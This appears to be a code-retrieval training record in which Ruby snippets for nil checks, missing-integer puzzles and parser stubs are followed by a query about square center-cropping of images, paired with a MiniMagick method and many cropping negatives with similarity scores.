"def my_solution(array)\n hash = {}\n\n array.each do |element|\n hash[element] = 0 if element > 0\n end\n\n (1..array.size).each do |i|\n return i if hash[i].nil?\n end\nend",
"def optionalize\n without_values(nil)\n end",
"def optional?\n !@required\n end",
"def isEmptyOfUC \n\t isempty = true\n for i in [email protected] do\n for k in 0...@pairs[i].pairsArr.length do\n if @pairs[i].pairsArr[k].isVisited == false\n isempty = false\n return isempty\n end\n end\n end\n end",
"def cmp(x)\r\n x2 = []\r\n x.each {|y|\r\n if y !=nil\r\n x2 << y\r\n end\r\n }\r\n return x2\r\nend",
"def maybe so, maybe: self\n so\n end",
"def maybe(_, f)\n f[]\n end",
"def _reduce_none(val, _values)\r\n val[0]\r\nend",
"def find(ifnone = nil)\n each { |o| return o if yield(o) }\n ifnone.call if ifnone\n end",
"def my_min_2(list)\r\n min = 0 # O(1)\r\n \r\n list.each do |ele| # O(n) \r\n if ele < min # O(1)\r\n min = ele # O(1)\r\n end\r\n end\r\n min # O(1) \r\nend",
"def none_empty?\n !any_empty?\n end",
"def none_empty?\n !any_empty?\n end",
"def better_sum1(arr, target) # this one is going to return true or false\n pairs = Set.new\n\n arr.each do |ele|\n if pairs.include?(ele)\n return true\n else\n pairs << target - ele\n end\n end\n false\nend",
"def not_null\n bad_boi_points ||=0\n good_boi_points ||=0\n end",
"def optionality_implied?\n false\n end",
"def move_zeros(array)\n zero_count = 0\n # O(n)\n array.each do |num|\n\n zero_count += 1 if num == 0\n end\n\n # O(n)\n array = array.select { |num| num != 0 }\n \n # O(1)\n zero_count.times do\n array += [0]\n end\n\n array\nend",
"def fn_or(value)\n result = value.map do |val|\n apply_condition(val)\n end\n if result.to_s.include?(RUNTIME_MODIFIED)\n UNKNOWN_RUNTIME_RESULT\n else\n result.any?\n end\n end",
"def my_none?(arr, &prc)\n arr.each do |ele|\n return false if prc.call(ele)\n end\n true\nend",
"def opt &blk\r\n build_piece Optional, blk\r\n end",
"def maybe\n self\n end",
"def solution(arr)\n zeros = 0\n pass_cars = 0\n\n (0...arr.size).each do |idx|\n arr[idx] == 0 ? zeros += 1 : pass_cars += zeros\n\n return -1 if pass_cars > 1000000000\n end\n\n pass_cars\nend",
"def find_curious\n z = generate.zip simplify_all\n z.reject! {|x| x.last == nil }\n z.select { |tuple| simplest_form(tuple.first) == simplest_form(tuple.last) && !trivial(tuple.first) }\nend",
"def solution(a)\n return nil unless a || a.empty?\n num_hash = {}\n a.each do |num|\n num_hash[num] = 1\n end\n\n 1.upto(a.size + 1) do |item|\n return item if !num_hash.has_key? item \n end\n\nend",
"def with_optional_clause?(spec)\n !spec.exclude_clause.nil? || !spec.include_clause.nil?\n end",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def _reduce_none(val, _values, result)\n val[0]\nend",
"def reduce_optional(_production, _range, _tokens, _children)\n multiplicity(0, 1)\n end",
"def solve( n = 10_000 )\n (1..n).select {|i| i.amicable?}.reduce( :+ )\n end",
"def getValue(value)\n return nil if value==nil \n return value\nend",
"def empty?\n first.nil?\n end",
"def fibonacci(n)\n return fib_helper([0, 1], 2, n)\n # if you'd like to test what i THINK is an O(1) space complexity solution.....\n # i did run this through the tests and it SHOULD work:\n # return faster_fib_helper([0, 1], 2, n)\nend",
"def zero?() end",
"def zero?() end",
"def optional?\n @rule == :optional\n end",
"def get_basket(variety)\n basket_with_space = find_basket_with_space()\n basket_with_same_variety = basket_with_space.find { |b| b.apples.first.variety == variety && b.apples.size > 0 }\n if basket_with_same_variety.nil?\n # return some other completely empty basket\n basket_with_space.find { |b| b.apples.size == 0 }\n else\n # return basket with same variety of apples\n basket_with_same_variety\n end\nend",
"def head_or_all(arr)\n f, *r = arr\n return f if r.empty?\n arr\nend",
"def list_optional\n @optional ||= []\n end",
"def first_object(arg1, arg2, arg3)\n arg1 || arg2 || arg3 || nil\nend",
"def is_power_of_three(n)\n # Have[n] || false # <-- Way3\n #Power_3.include? n # <-- quicklier in practice\n n == Power_3.bsearch { |i| i-n+1 > 0 } # <-- quicklier in theoretically\n \nend",
"def hardcore_two_sum?(arr, target)\n nums = {}\n arr.each{ |n| nums[n] = n }\n\n nums.each do |n,_|\n needed = target - n\n return true if !nums[needed].nil? && nums[needed] != n\n end\n\n false\nend",
"def player_size_and_nil_check arr\n return arr.present? && (arr.compact.size == num_players)\n end",
"def maybe_zeroes(numbers, drop)\n# your codes goes here\n result = nil\n if drop\n result = helper(numbers)\n else\n result = numbers.reduce(:+)\n end\n result\nend"
] | [
"0.5707122",
"0.5485201",
"0.5262127",
"0.51078975",
"0.5073516",
"0.50569075",
"0.504007",
"0.50215054",
"0.50030905",
"0.4978641",
"0.49346524",
"0.49229994",
"0.48666954",
"0.48421654",
"0.48361006",
"0.48277402",
"0.48255092",
"0.48205838",
"0.4816803",
"0.48151508",
"0.48108947",
"0.48102096",
"0.48080596",
"0.48065564",
"0.47870716",
"0.47803357",
"0.47764567",
"0.47580075",
"0.47573268",
"0.4754884",
"0.47545463",
"0.47541177",
"0.47541177",
"0.47363108",
"0.47333604",
"0.47317928",
"0.47275057",
"0.47218442",
"0.47045982",
"0.46945626",
"0.4687984",
"0.46768576",
"0.46746126",
"0.4673009",
"0.46684265",
"0.46675465",
"0.4665186",
"0.4664552",
"0.46604374",
"0.46603787",
"0.46603787",
"0.4644006",
"0.4643682",
"0.46417278",
"0.4635316",
"0.46342853",
"0.46336836",
"0.46297285",
"0.46239865",
"0.4621627",
"0.46207923",
"0.46203625",
"0.46129408",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46121815",
"0.46063057",
"0.4603691",
"0.45996016",
"0.45978495",
"0.4594553",
"0.45928195",
"0.45928195",
"0.45925847",
"0.45842123",
"0.45814842",
"0.45751324",
"0.45701474",
"0.45685145",
"0.45681158",
"0.45646983",
"0.4564346"
] | 0.0 | -1 |
Provide a default URL as a default if there hasn't been a file uploaded: | def default_url
# # For Rails 3.1+ asset pipeline compatibility:
ActionController::Base.helpers.asset_path("fallback/" + [version_name, "default.png"].compact.join('_'))
"/assets/fallback/" + [version_name, "default.png"].compact.join('_')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def url_with_default *args\n unless file_name.nil?\n url_without_default *args\n else\n nil\n end\n end",
"def default_url\n nil\n end",
"def default_url\n end",
"def default_url\n url 'default'\n end",
"def default_url\n file_path = [\n 'fallbacks',\n ([model.class.to_s.underscore, mounted_as, version_name].compact.join('_') + '.png')\n ].join '/'\n\n 'http://' + ENV['HOST'] + ActionController::Base.helpers.image_path(file_path)\n end",
"def default_url\n \"http://placehold.it/330&text=pic\"\n end",
"def default_url\n # For Rails 3.1+ asset pipeline compatibility:\n # ActionController::Base.helpers.asset_path(\"fallback/\" + [version_name, \"default.png\"].compact.join('_'))\n\n \"http://res.cloudinary.com/djjs4pnpf/image/upload/v1528878490/jpsez3ep8okeusjdqinz.jpg\"\n end",
"def default_url\n ActionController::Base.helpers.asset_path(\"fallback/#{model.class.to_s.underscore}_#{mounted_as}/\" + [version_name, \"default.jpg\"].compact.join('_'))\n end",
"def url(**options)\n if uploaded_file = get\n uploaded_file.url(**options)\n else\n default_url(**options)\n end\n end",
"def default_url\n \"/images/fallback/\" + [thumb, \"images.jpeg\"].compact.join('_')\n end",
"def default_url\n Settings.image.default_avatar\n end",
"def default_url\n Settings.image.default_avatar\n end",
"def default_url\n Settings.image.default_avatar\n end",
"def set_url\n @url = DEFAULT_URL\n end",
"def default_url\n #\"/assets/fallback/\" + [version_name, \"default.jpg\"].compact.join('_')\n ActionController::Base.helpers.asset_path(\"fallback/\" + [version_name, \"default.jpg\"].compact.join('_'))\n #\"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def default_url\n \"photo/#{version_name}.jpg\"\n end",
"def default_path; end",
"def default_url\n \"/images/user/avatar/\" + [version_name, \"default.png\"].compact.join('_')\n end",
"def default_url\n version = version_name.downcase if version_name\n du = \"/images/fallback/\" + [version, \"empty_deal_image.png\"].compact.join('_')\n # puts \"default_url=>#{du}\"\n du\n end",
"def default_url\n PLACEHOLDER_URL\n end",
"def default_url\n \"https://s3.amazonaws.com/whisprdev/uploads/default_avatar.png\"\n end",
"def default_url\n ActionController::Base.helpers.asset_path(\"integral/defaults/post_image.jpg\")\n end",
"def default_url(context)\n end",
"def default_url\n asset_path(\"fallback/\" + [version_name, \"default-photo.png\"].compact.join('_'))\n end",
"def default_url\n asset_path(\"fallback/\" + [version_name, \"default-photo.png\"].compact.join('_'))\n end",
"def default_url\n asset_path(\"fallback/\" + [version_name, \"default-photo.png\"].compact.join('_'))\n end",
"def default_url\n # For Rails 3.1+ asset pipeline compatibility:\n # ActionController::Base.helpers.asset_path(\"fallback/\" + [version_name, \"default.png\"].compact.join('_'))\n \"fallback/\"+[version_name, \"default_#{mounted_as}.jpg\"].compact.join('_')\n end",
"def defaults!\n self.url = nil\n end",
"def default_path\n nil\n end",
"def default_url\n # ActionController::Base.helpers.asset_path(\"fallback/\" + [version_name, \"anonymous_avatar.gif\"].compact.join('_'))\n\n 'anonymous_avatar.gif'\n #\"/images/\" + [version_name, \"anonymous.jpg\"].compact.join('_')\n end",
"def default_url\n \"/images/fallback/\" + [version_name, \"default.png\"].compact.join('_')\n end",
"def default_url\n \"/images/fallback/\" + [version_name, \"default.png\"].compact.join('_')\n end",
"def default\n path\n end",
"def url() processed_image.try(:url) || fallback_url end",
"def default_url\n ActionController::Base.helpers.asset_path(\"missing_avatar_thumb.png\")\n end",
"def file_url\n file.attached? ? url_for(file) : ''\n end",
"def default_url\n return @resource.value(:source) unless @resource.value(:source).is_a?(Hash)\n return @resource.value(:source)[@resource.value(:remote)] if @resource.value(:source).key?(@resource.value(:remote))\n raise(\"You must specify the URL for remote '#{@resource.value(:remote)}' in the :source hash\")\n end",
"def default_url\n # For Rails 3.1+ asset pipeline compatibility:\n \"/assets/\" + [version_name, \"default.gif\"].compact.join('_')\n end",
"def default_url\n # # For Rails 3.1+ asset pipeline compatibility:\n #asset_path([version_name, \"default.png\"].compact.join('_'))\n #\n [version_name, \"logono.gif\"].compact.join('_')\n end",
"def default_url\n \"/images/fallback/\" + [version_name, \"base-default.png\"].compact.join(\"_\")\n end",
"def default_url\n ActionController::Base.helpers.asset_path(\"logos/\" + [version_name, \"missing.png\"].compact.join('/'))\n end",
"def default_url(*args); end",
"def default_url\n ActionController::Base.helpers.asset_path(\"default/\" + [version_name, \"standard.jpg\"].compact.join('_'))\n end",
"def default_url\n ActionController::Base.helpers.image_path('user.png')\n end",
"def default_url(version_name = \"\")\n end",
"def default_url\n # For Rails 3.1+ asset pipeline compatibility:\n # ActionController::Base.helpers.asset_path(\"fallback/\" + [version_name, \"default.png\"].compact.join('_'))\n\n ActionController::Base.helpers.asset_path(super)\n end",
"def default_url\n # For Rails 3.1+ asset pipeline compatibility:\n # asset_path(\"fallback/\" + [version_name, \"default.png\"].compact.join('_'))\n asset_path \"#{DEFAULT_AVATAR_NAME}.png\"\n end",
"def default_url\n \"http://placehold.it/450x300&text=BandPhoto\"\n end",
"def default_url\n \"/images/fallback/\" + [version_name, \"network-thumb-default.png\"].compact.join(\"_\")\n end",
"def default_url\n # For Rails 3.1+ asset pipeline compatibility:\n # asset_path(\"fallback/\" + [version_name, \"default.png\"].compact.join('_'))\n\n \"/images/fallback/\" + [version_name, \"default.png\"].compact.join('_')\n end",
"def default_url\n return '' #ActionController::Base.helpers.asset_path('common/no-image.png')\n end",
"def default_url\n # For Rails 3.1+ asset pipeline compatibility:\n ([version_name, \"default.png\"].compact.join('_'))\n \n #\"/images/fallback/\" + [version_name, \"default.png\"].compact.join('_')\n end",
"def default_url\n ActionController::Base.helpers.asset_path('mails/bigimage.jpg', type: :image).to_s\n end",
"def default_url(*_args)\n ActionController::Base\n .helpers\n .asset_path('fallback/' + [version_name, 'missing_avatar1.png'].compact.join('_'))\n end",
"def default_url(*args)\n \"/site_assets/_shared/avatars/\" + [\"empty_avatar\", version_name].compact.join('_') + '.png'\n end",
"def default_url\n # # For Rails 3.1+ asset pipeline compatibility:\n # # ActionController::Base.helpers.asset_path(\"fallback/\" + [version_name, \"default.png\"].compact.join('_'))\n #\n # \"/images/fallback/\" + [version_name, \"default.png\"].compact.join('_')\n \"/placeholder.png\"\n end",
"def default_path\n @default_path ||= h.can?(:update, object) ? h.edit_form_path(object) : h.form_path(object)\n end",
"def default_url\n ActionController::Base.helpers.asset_path(\"images/\" + [version_name, \"missing.png\"].compact.join('/'))\n end",
"def default_file_name\n ''\n end",
"def default_url\n '/images/blank_card.png'\n end",
"def default_url\n # For Rails 3.1+ asset pipeline compatibility: ActionController::Base.helpers.asset_path(\"fallback/\" + [version_name, \"default.png\"].compact.join('_'))\n \"/assets/fallback/\" + [version_name, \"default.png\"].compact.join('_')\n end",
"def file_url\n end",
"def default_url\n # For Rails 3.1+ asset pipeline compatibility:\n # ActionController::Base.helpers.asset_path(\"fallback/\" + [version_name, \"default.png\"].compact.join('_'))\n\n # \"/images/fallback/\" + [version_name, \"default.png\"].compact.join('_')\n # 'default_avatar.png' #rails will look at 'app/assets/images/default_avatar.png'\n end",
"def safe_default_image\n if default_image.try(:filename).present? \n default_image\n elsif self.images.present?\n self.images.first\n else\n Product::generic_default_image\n end\n\n # To populate run task: assets::populate_default_image\n #default_image.presence || Product::generic_default_image\n end",
"def default_url\n # For Rails 3.1+ asset pipeline compatibility:\n # ActionController::Base.helpers.asset_path(\"fallback/\" + [version_name, \"default.png\"].compact.join('_'))\n asset_path('gray_blank.gif')\n # Settings.assets.gray_image\n end",
"def upload_file_url\n \"file://#{upload_full_path}\"\n end",
"def default_url\n # # For Rails 3.1+ asset pipeline compatibility:\n ActionController::Base.helpers.asset_path('fallback/' + [version_name, 'default.png'].compact.join('_'))\n #\n # \"/images/fallback/\" + [version_name, \"default.png\"].compact.join('_')\n end",
"def default_url(*args)\n \"default_document_icon.png\"\n end",
"def default_url_options; end",
"def default_url\r\n ActionController::Base.helpers.asset_path(\"fallback/\" + [version_name, \"default.png\"].compact.join('_'))\r\n #ActionController::Base.helpers.asset_path(\"fallback/\" + \"default.gif\")\r\n end",
"def upload_url=(value)\n @upload_url = value\n end",
"def default_url(object, view = \"index\")\n #url_for Util.default_url_for_object( object, view )\n url_for object.default_url( view )\n end",
"def default_url\n size = AttachUploader.versions[version_name||:medium][:uploader].processors[0][1].join(\"x\")\n # \"holder.js/#{size}/industrial\"\n \"\"\n end",
"def blank_url\n asset_host = Rails.configuration.action_controller[:asset_host]\n if asset_host\n \"http://#{asset_host}/assets/default/#{blank_image}\"\n else\n \"/assets/default/#{blank_image}\"\n end\n end",
"def upload_default(job, pathname)\n full_file_name = archive_file(job, pathname)\n if job.respond_to?(:upload_file_name=)\n job.upload_file_name = full_file_name\n elsif job.respond_to?(:full_file_name=)\n job.full_file_name = full_file_name\n else\n raise(ArgumentError, \"#{job_class_name} must either have attribute 'upload_file_name' or 'full_file_name'\")\n end\n end",
"def file # :nodoc:\n return @file if @file\n\n if default_file && File.exist?(default_file)\n @file = default_file\n end\n end",
"def file # :nodoc:\n return @file if @file\n\n if default_file && File.exist?(default_file)\n @file = default_file\n end\n end",
"def default_uri\n URI.parse('//' + @default_host + '/')\n end",
"def default_to_http_if_missing(blob_params)\n url = blob_params[:data_url]\n unless url.blank?\n begin\n blob_params[:data_url] = Addressable::URI.heuristic_parse(url).to_s\n rescue Addressable::URI::InvalidURIError\n blob_params[:data_url] = url\n end\n end\n end",
"def upload_url\n return unless @data['image']\n # Isn't actually displayed in-app without this set\n return unless image['property'] == 'image'\n file(@data['image'])\n end",
"def default_photo_url\n self.dig_for_string(\"agentSummary\", \"defaultPhotoURL\")\n end",
"def default_image\n end",
"def default_url_options=(_arg0); end",
"def file_url= val\n return if val.blank?\n\n self.state = :pending\n self.server_data = val\n @file_last_action = __method__.to_sym\n end",
"def default_url\n ActionController::Base.helpers.asset_path(\"placeholders/\" + [\"default\", version_name].compact.join('_')) + \".png\"\n return \"/images/placeholders/\" + [\"default\", version_name].compact.join('_') + \".png\"\n end",
"def file_url\n return nil if target_item.files.empty?\n target_item.files.last.uri.to_s\n end",
"def default_url\n # For Rails 3.1+ asset pipeline compatibility:\n # asset_path(\"fallback/\" + [version_name, \"default.png\"].compact.join('_'))\n puts YAML::dump(model)\n puts YAML::dump(model.respond_to?('imageable_type'))\n #raise \"very confusing ... model.class = \" + model.class.to_s + \" version = \" + version_name\n if model.respond_to?('imageable_type')\n \"/images/fallback/#{model.imageable_type.to_s}_\" + [version_name, \"default.png\"].compact.join('_')\n else\n \"/images/fallback/#{model.class.to_s}_\" + [version_name, \"default.png\"].compact.join('_')\n end\n end",
"def get_attachment_url\n return self.attachment.url unless self.attachment.blank?\n end",
"def default_files; end",
"def url\n if self.empty?\n \"/img/blank.gif\"\n else\n @url\n end\n end",
"def default_url\n \"\" + [version_name, \"default_cat_icon.png\"].compact.join('_')\n end",
"def url\n SETTINGS[:url] || raise(\"Must provide URL - please edit file\")\nend",
"def url\n SETTINGS[:url] || raise(\"Must provide URL - please edit file\")\nend",
"def url\n SETTINGS[:url] || raise(\"Must provide URL - please edit file\")\nend",
"def url(*args)\n super_url = super\n File.exists?(\"#{root}#{super_url}\") ? super_url : default_url\n end",
"def default_url\n ActionController::Base.helpers.asset_path(\"videos/\" + [version_name, \"capture.png\"].compact.join('_'))\n end",
"def url\n self[:url].blank? ? \"/\" : self[:url]\n end",
"def avatar_url\n uploaded ? avatar.url : \"/assets/no_avatar.png\"\n end",
"def original_url; end",
"def preview_image_url\n nil\n end"
] | [
"0.7883205",
"0.77595973",
"0.74651086",
"0.71624243",
"0.7141275",
"0.708046",
"0.69866884",
"0.6946398",
"0.6934942",
"0.69288045",
"0.69250774",
"0.69250774",
"0.69250774",
"0.69208115",
"0.6917895",
"0.6908054",
"0.6887987",
"0.68706596",
"0.68628246",
"0.6834046",
"0.6775761",
"0.67692864",
"0.6748089",
"0.67302513",
"0.67302513",
"0.67302513",
"0.67040503",
"0.6692437",
"0.6691314",
"0.66652644",
"0.66627514",
"0.66525346",
"0.66411126",
"0.6626054",
"0.66157585",
"0.6612389",
"0.66052836",
"0.65529567",
"0.65489954",
"0.654776",
"0.6529531",
"0.65288985",
"0.65177196",
"0.65156895",
"0.6509784",
"0.6503101",
"0.6501372",
"0.6496056",
"0.6491467",
"0.64790916",
"0.64635235",
"0.64623046",
"0.64565873",
"0.64559835",
"0.64356345",
"0.6429469",
"0.64260566",
"0.6404232",
"0.63796073",
"0.6377806",
"0.6373333",
"0.6366374",
"0.6357107",
"0.6354077",
"0.6338846",
"0.631569",
"0.6303387",
"0.62718344",
"0.62609607",
"0.62528515",
"0.6249905",
"0.6241423",
"0.6231007",
"0.62189984",
"0.62045884",
"0.6188033",
"0.6188033",
"0.6166015",
"0.61659384",
"0.6161112",
"0.6127666",
"0.61134106",
"0.6097648",
"0.6067405",
"0.6058539",
"0.6050485",
"0.6046659",
"0.6039807",
"0.60345364",
"0.60272706",
"0.60204935",
"0.6012275",
"0.6012275",
"0.6012275",
"0.6010012",
"0.60078067",
"0.59712136",
"0.596831",
"0.59667075",
"0.59462214"
] | 0.6120811 | 81 |
Resize and crop square from Center | def resize_and_crop(size)
manipulate! do |image|
if image[:width] < image[:height]
remove = (image[:height] - 135).round
image.shave("0x#{remove}")
elsif image[:width] > image[:height]
remove = ((image[:width] - image[:height])/2).round
image.shave("#{remove}x0")
end
image.resize("#{size}")
image
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def square_image_crop\n if (self.crops)\n if !(self.crop_x.nil? || self.crop_y.nil? || self.crop_w.nil? || self.crop_h.nil?)\n @image = MiniMagick::Image.open(self.photo.url)\n # if image is larger than our max screen size, the cropped image will be incorrect (resizing)\n @image.sample(((700/@image[:width].to_f) * 100).to_s + \"%\") if @image[:width] > 700\n @image.crop(\"#{self.crop_w}x#{self.crop_h}+#{self.crop_x}+#{self.crop_y}\")\n @image.set(\"page\", \"#{self.crop_w}x#{self.crop_h}+#{self.crop_x}+#{self.crop_y}\") \n self.square_image = @image\n end\n end\n end",
"def with_crop(left, top, right, bottom); end",
"def cut\n rmagick_img.crop_resized!(@x, @y, gravity)\n end",
"def crop!(x, y, w, h)\n prefull, orig = model.actual_dimensions(:prefull), model.actual_dimensions\n ratio = [orig[0].to_f / prefull[0], orig[1].to_f / prefull[1]].min\n x, y, w, h = [x, y, w, h].map { |n| (n * ratio).floor }\n manipulate! do |img|\n img.crop \"#{w}x#{h}+#{x}+#{y}\"\n img = yield(img) if block_given?\n img\n end\n end",
"def crop(x, y, w, h)\n clone.crop!(x, y, w, h)\n end",
"def resize_and_crop(size)\n manipulate! do |image|\n Rails.logger.error '----------- image:'\n Rails.logger.error image.inspect\n\n if image[:width] < image[:height]\n remove = ((image[:height] - image[:width]) / 2).round\n image.shave(\"0x#{remove}\")\n elsif image[:width] > image[:height]\n remove = ((image[:width] - image[:height]) / 2).round\n image.shave(\"#{remove}x0\")\n end\n image.resize(\"#{size}x#{size}\")\n image\n end\n end",
"def crop!(x,y,width,height)\n @x, @y, @w, @h = x, y, width, height\n self\n end",
"def cover_and_crop(new_width, new_height, &block)\n scale_to_cover(new_width, new_height) do |scaled|\n return block.call(scaled) if new_width == scaled.width && new_height == scaled.height\n scaled.crop_to(new_width || width, new_height || height, &block)\n end\n end",
"def resize_to_fill(new_width, new_height)\n manipulate! do |image|\n\n image = resize_image image, new_width, new_height, :max\n\n if image.x_size > new_width\n top = 0\n left = (image.x_size - new_width) / 2\n elsif image.y_size > new_height\n left = 0\n top = (image.y_size - new_height) / 2\n else\n left = 0\n top = 0\n end\n\n image.extract_area(left, top, new_width, new_height)\n\n end\n end",
"def square\n square_params(:center)\n self\n end",
"def center_origins\n return if !self.bitmap\n self.ox = self.bitmap.width / 2\n self.oy = self.bitmap.height / 2\n end",
"def magick_crop_rect\n [x1, y1, x2-x1, y2-y1]\n end",
"def resize_to(width, height); end",
"def shrink_crop_area(size, crop_size)\n if has_wider_aspect_ratio?(size, crop_size) # => requested wider size, shrink y\n crop_size[:height] = crop_size[:height] * aspect_ratio(crop_size) / aspect_ratio(size)\n else # => shrink x\n crop_size[:width] = crop_size[:width] * aspect_ratio(size) / aspect_ratio(crop_size)\n end\n\n round_dimensions(crop_size)\n end",
"def crop\n return if model.crop_x.blank?\n resize_to_limit(300, 300)\n manipulate! do |img|\n x = model.crop_x.to_i\n y = model.crop_y.to_i\n w = model.crop_w.to_i\n h = model.crop_h.to_i\n img.crop!(x, y, w, h)\n end\n end",
"def crop image, x0 = 0, y0 = 0, w = 100, h = 100, scale = 1\n x0 = (x0.to_f * scale).to_i\n y0 = (y0.to_f * scale).to_i\n\n w = (w.to_f * scale).to_i\n h = (h.to_f * scale).to_i\n\n image.crop \"#{ w }x#{ h }+#{ x0 }+#{ y0 }\"\n image\n end",
"def crop\n return unless model.can_be_cropped?\n manipulate! do |image|\n image.combine_options do |command|\n command.crop(model.magick_thumbnail_coordinates)\n end\n image\n end\n end",
"def resize_to_fill(width, height)\n manipulate! do |image|\n image = resize_image image, width, height, :max\n top = 0\n left = 0\n\n if image.x_size > width\n left = (image.x_size - width) / 2\n elsif image.y_size > height\n top = (image.y_size - height) / 2\n end\n\n image.extract_area left, top, width, height\n end\n self\n end",
"def cropped_thumbnail(geometry)\n ow,oh = @original_width,@original_height\n \t w,h = geometry.strip.split('x').map{|n|n.to_i}\n\n \t\tif (ow.to_f / oh) < (w.to_f / h)\n \t\t\t# narrow aspect ratio, width is the priority\n \t\t\tresized_w = w\n \t\t\tresized_h = ((w.to_f / ow) * oh).round # scale height to same ratio as width\n \t\telse\n \t\t\t# wide or square aspect ratio, height is the priority\n \t\t\tresized_h = h\n \t\t\tresized_w = ((h.to_f / oh) * ow).round # scale width to the same ratio as height\n \t\tend\n \t\tresize_to = [resized_w,resized_h].max\n\n thumbnail(\"#{resize_to}x#{resize_to}\")\n crop(geometry)\n \t\tself\n \tend",
"def crop(rect)\n if self.scale > 1.0\n rect = CGRectMake(rect.origin.x * self.scale,\n rect.origin.y * self.scale,\n rect.size.width * self.scale,\n rect.size.height * self.scale)\n end\n\n cgimage = CGImageCreateWithImageInRect(self.CGImage, rect)\n result = UIImage.imageWithCGImage(cgimage, scale:self.scale, orientation:self.imageOrientation)\n\n return result\n end",
"def execute_crop(image, crop, x, y, width, height)\n require 'RMagick'\n # load in the original image\n old_image = Magick::Image::read(self.send(image).path).first\n # crop it at the desired position\n new_image = old_image.crop(x.to_i, y.to_i, width.to_i, height.to_i, true)\n # scale the image to the correct size if needed\n desired_width, desired_height = Image.detailed_dimensions(self.class, image, crop)\n if desired_width\n clean_desired_width = desired_width.gsub(/\\D/, '').to_f\n if desired_width.include?('>')\n new_image.scale!(clean_desired_width/width.to_f) if (width > clean_desired_width)\n elsif desired_width.include?('^')\n new_image.scale!(clean_desired_width/width.to_f) if (width < clean_desired_width)\n else\n new_image.scale!(clean_desired_width/width.to_f)\n end\n elsif desired_height\n clean_desired_height = desired_height.gsub(/\\D/, '').to_f\n if desired_height.include?('>')\n new_image.scale!(clean_desired_height/height.to_f) if (height > clean_desired_height)\n elsif desired_height.include?('^')\n new_image.scale!(clean_desired_height/height.to_f) if (height < clean_desired_height)\n else\n new_image.scale!(clean_desired_height/height.to_f)\n end\n end\n \n # need to make sure the image is the size it wanted to be in the first place as a pixel or 2 can b lost in the maths from the views\n # only do this if the requested dims allow it.\n if desired_width.to_i != 0 && desired_height.to_i != 0\n new_image.scale!(desired_width.to_i, desired_height.to_i)\n end\n \n FileUtils.mkdir_p(File.dirname(self.send(image).path(crop).to_s))\n new_image.write(self.send(image).path(crop).to_s)\n end",
"def cropper(crop_width, crop_height)\n manipulate! do |img|\n width = img.columns\n height= img.rows\n if width == crop_width and height==crop_height then\n img\n else\n img.crop(width / 2,height / 2,crop_width,crop_height)\n end\n end\n end",
"def resize!(*args)\n width, height = Geometry.new(*args).dimensions\n resize(\"#{width}x#{height}^\").crop(width, height).repage\n end",
"def resize(width, height, resize_method)\n cropping = (resize_method != :resize_scale)\n\n # Calculate aspect ratios\n source_ratio = size.width / size.height\n target_ratio = width / height\n\n # Determine what side of the source image to use for proportional scaling\n scale_width = (source_ratio <= target_ratio)\n\n # Proportionally scale source image\n scaled_width, scaled_height = nil, nil\n if cropping && scale_width\n scaling_factor = 1.0 / source_ratio\n scaled_width = width\n scaled_height = (width * scaling_factor).round\n else\n scaling_factor = source_ratio\n scaled_width = (height * scaling_factor).round\n scaled_height = height\n end\n scale_factor = scaled_height / size.height\n\n # Calculate compositing rectangles\n source_rect = nil\n if cropping\n dest_x, dest_y = nil, nil\n case resize_method\n when :resize_crop\n # Crop center\n dest_x = ((scaled_width - width) / 2.0).round\n dest_y = ((scaled_height - height) / 2.0).round\n when :resize_crop_start\n # Crop top or left (prefer top)\n if scale_width\n # Crop top\n dest_x = ((scaled_width - width) / 2.0).round\n dest_y = (scaled_height - height).round\n else\n # Crop left\n dest_x = 0.0\n dest_y = ((scaled_height - height) / 2.0).round\n end\n when :resize_crop_end\n # Crop bottom or right\n if scale_width\n # Crop bottom\n dest_x = 0.0\n dest_y = 0.0\n else\n # Crop right\n dest_x = (scaled_width - width).round\n dest_y = ((scaled_height - height) / 2.0).round\n end\n end\n source_rect = [dest_x / scale_factor, dest_y / scale_factor, width / scale_factor, height / scale_factor]\n else\n width = scaled_width\n height = scaled_height\n source_rect = [0, 0, size.width, size.height]\n end\n\n result = OSX::NSImage.alloc.initWithSize([width, height])\n result.lockFocus\n OSX::NSGraphicsContext.currentContext.setImageInterpolation(OSX::NSImageInterpolationHigh)\n drawInRect_fromRect_operation_fraction([0, 0, width, height], source_rect, OSX::NSCompositeSourceOver, 1.0)\n result.unlockFocus\n result\n end",
"def crop_canvas(c, h)\n return c.crop(0, 0, c.width, h) if c.height > h\n c\n end",
"def resize(width, height); end",
"def crop! (xoff, yoff, width, height)\n @transforms << \"CR#{xoff},#{yoff},#{width},#{height}\"\n self\n end",
